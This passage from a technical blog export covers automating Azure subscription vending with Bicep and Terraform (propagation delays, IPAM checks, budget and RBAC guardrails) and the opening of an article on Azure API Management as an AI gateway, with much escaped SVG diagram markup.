fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003e9\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"21-creating-the-subscription-alias\"\u003e2.1: Creating the Subscription Alias\u003c/h3\u003e\n\u003cp\u003eUse the \u003ccode\u003eMicrosoft.Subscription/aliases\u003c/code\u003e resource to provision subscriptions programmatically. This resource is idempotent — run it twice with the same name and you get back the existing subscription, not a duplicate. That property matters when your pipeline retries on transient failures.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBicep Pattern:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etargetScope\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;tenant\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e subVend \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;br/public:avm/ptn/lz/sub-vending:0.5.0\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;subVend-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eworkloadName\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  params: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionAliasEnabled: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionBillingScope: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/providers/Microsoft.Billing/billingAccounts/12345/enrollmentAccounts/67890\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionDisplayName: workloadName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionWorkload: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Production\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-automation-patterns-the-90-second-rule\"\u003e3. Automation Patterns: The \u0026ldquo;90-Second Rule\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003eHere is the failure your pipeline will hit the first time: you create the subscription, immediately try to assign a role, and get a \u003ccode\u003ePrincipalNotFound\u003c/code\u003e or \u003ccode\u003eScopeNotFound\u003c/code\u003e error. The subscription exists — Azure just hasn\u0026rsquo;t finished propagating it to Entra ID yet. That takes 60-90 seconds, and your IaC doesn\u0026rsquo;t know that.\u003c/p\u003e\n\u003cp\u003eThis is the \u003cstrong\u003eIdentity Propagation Delay\u003c/strong\u003e, and every subscription vending implementation hits it eventually.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform Fix:\u003c/strong\u003e Use the \u003ccode\u003etime_sleep\u003c/code\u003e resource to introduce a mandatory pause after subscription creation.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;time_sleep\u0026#34; \u0026#34;wait_for_subscription\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  create_duration \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;90s\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  depends_on      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003eazurerm_subscription\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eworkload\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-self-service-ipam-avoiding-overlaps\"\u003e4. Self-Service IPAM: Avoiding Overlaps\u003c/h2\u003e\n\u003cp\u003eThe hardest scaling problem in subscription vending is \u003cstrong\u003eIP Address Management\u003c/strong\u003e. Two teams pick \u003ccode\u003e10.1.1.0/24\u003c/code\u003e. Both PRs get approved. VNet peering fails for one of them — silently, at apply time, after both subscriptions already exist.\u003c/p\u003e\n\u003cp\u003eInclude a \u003cstrong\u003eCIDR Overlap Check\u003c/strong\u003e in your CI/CD pipeline. A Python script reads a central \u003ccode\u003eipam.yaml\u003c/code\u003e file in the repo, validates the requested range against existing allocations, and blocks the PR if there\u0026rsquo;s a collision. Teams pick their own IPs; your pipeline enforces the global network plan. The conflict surfaces in a PR comment, not a 3am support ticket.\u003c/p\u003e\n\u003ch2 id=\"5-security-and-billing-guardrails\"\u003e5. Security and Billing Guardrails\u003c/h2\u003e\n\u003cp\u003eVending time is the right time to apply mandatory controls — before there\u0026rsquo;s any workload running to object. Wire these in as non-optional outputs of the vending module:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRBAC:\u003c/strong\u003e An \u0026ldquo;App Admin\u0026rdquo; group for the workload team.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBudget:\u003c/strong\u003e A $500/month starting budget with automated alerts to your team. Adjust later if needed, but start with a guard rail.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiagnostics:\u003c/strong\u003e A DINE policy (from Article 4) that automatically connects the subscription to the hub\u0026rsquo;s Log Analytics Workspace. This is what prevents the 47-day gap from the opening of this article.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eGit is your audit trail:\u003c/strong\u003e Every subscription request, approval, and configuration change lives in a PR. When compliance asks who approved the production subscription in Q1, you have an answer.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIdempotency prevents incidents:\u003c/strong\u003e Use \u003ccode\u003ealiases\u003c/code\u003e and AVM pattern modules so your pipeline can re-run safely on retries without duplicating resources.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWait for propagation:\u003c/strong\u003e Include a 90-second pause after subscription creation. Skip it and your first role assignment will fail.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCatch CIDR collisions in the PR:\u003c/strong\u003e IPAM validation at PR time surfaces conflicts before any infrastructure exists. IPAM validation after \u003ccode\u003eterraform apply\u003c/code\u003e is too late.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-monitor-logging/\"\u003eCentralized Monitoring: Log Analytics, Diagnostic Settings, and Azure Monitor Workbooks\u003c/a\u003e to monitor the traffic and costs generated by these vended subscriptions.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-cicd/\"\u003eCI/CD Pipeline for Your Landing Zone: Deploying Azure Verified Modules with GitHub Actions\u003c/a\u003e to see the complete GitHub Actions pipeline that powers the vending machine.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/subscription-vending\"\u003eMicrosoft Learn: Subscription vending architecture\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Azure/bicep-registry-modules/tree/main/avm/ptn/lz/sub-vending\"\u003eBicep Registry: lz/sub-vending module\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/subscription\"\u003eTerraform Registry: azurerm_subscription\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Automate Azure subscription provisioning with a PR-based vending workflow. Learn to deploy spoke networking, RBAC, and budgets using Terraform and Bicep patterns.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-subscription-vending/","title":"Subscription Vending: Automating New Workload Onboarding with IaC"},{"content":"\u003cp\u003eYou built a CI/CD tool that sends code diffs to Azure OpenAI for automated review comments. It works great. Three months later, a security audit lands on your desk. The diffs have been routinely sending database connection strings, AWS access keys, and internal IP addresses—verbatim—to the LLM. The pipeline never had a gate. Direct application-to-model calls bypass every opportunity for centralized inspection, sanitization, or audit logging. You aren\u0026rsquo;t the first engineer this has happened to.\u003c/p\u003e\n\u003cp\u003eAzure API Management (APIM), positioned as an AI Gateway, is that gate. It transforms Azure OpenAI from a collection of scattered, unmanaged endpoints into a governed platform. In 2026, APIM has evolved into a native \u003cstrong\u003eGenAI Gateway\u003c/strong\u003e, providing a unified control plane to enforce token-based rate limiting, redact PII at the network layer, and load balance across multiple regional deployments.\u003c/p\u003e\n\u003ch2 id=\"1-apim-as-the-ai-gateway\"\u003e1. APIM as the AI Gateway\u003c/h2\u003e\n\u003cp\u003eWithout a gateway, every application team manages its own authentication, rate limiting, and logging. The platform has no visibility into aggregate AI usage or cost. APIM introduces a single path for all AI traffic. Policies applied at the gateway apply to every consumer—from local dev scripts to production CI/CD pipelines—without changing application code.\u003c/p\u003e\n\u003ch3 id=\"choosing-the-right-tier\"\u003eChoosing the Right Tier\u003c/h3\u003e\n\u003cp\u003eFor a production AI Gateway, you must use the \u003cstrong\u003eStandard v2\u003c/strong\u003e or \u003cstrong\u003ePremium\u003c/strong\u003e tiers. These tiers provide the VNet integration required to communicate with the Private Endpoints of your Azure OpenAI resources. The Consumption tier is strictly ineligible as it lacks the networking capabilities to reach isolated backends.\u003c/p\u003e\n\u003ch3 id=\"the-unified-ai-gateway-architecture\"\u003eThe Unified AI Gateway Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 169\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 160,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,16 L 480,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,16 L 704,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,32 L 176,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,32 L 272,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,48 L 496,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,48 L 552,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,64 L 184,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,64 L 704,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,96 L 160,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,96 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,96 L 480,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,96 L 624,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 640,96 L 704,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,144 L 704,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,16 L 160,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,16 L 288,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,96 L 384,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,16 L 480,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,16 L 560,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,96 L 560,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 632,80 L 632,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 704,16 L 704,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 704,96 L 704,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 632,72 L 632,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='176.000000,64.000000 164.000000,58.400002 164.000000,69.599998' fill='currentColor' transform='rotate(180.000000, 168.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='280.000000,32.000000 268.000000,26.400000 268.000000,37.599998' fill='currentColor' transform='rotate(0.000000, 272.000000, 32.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='560.000000,48.000000 548.000000,42.400002 548.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 552.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='640.000000,96.000000 628.000000,90.400002 628.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 632.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' 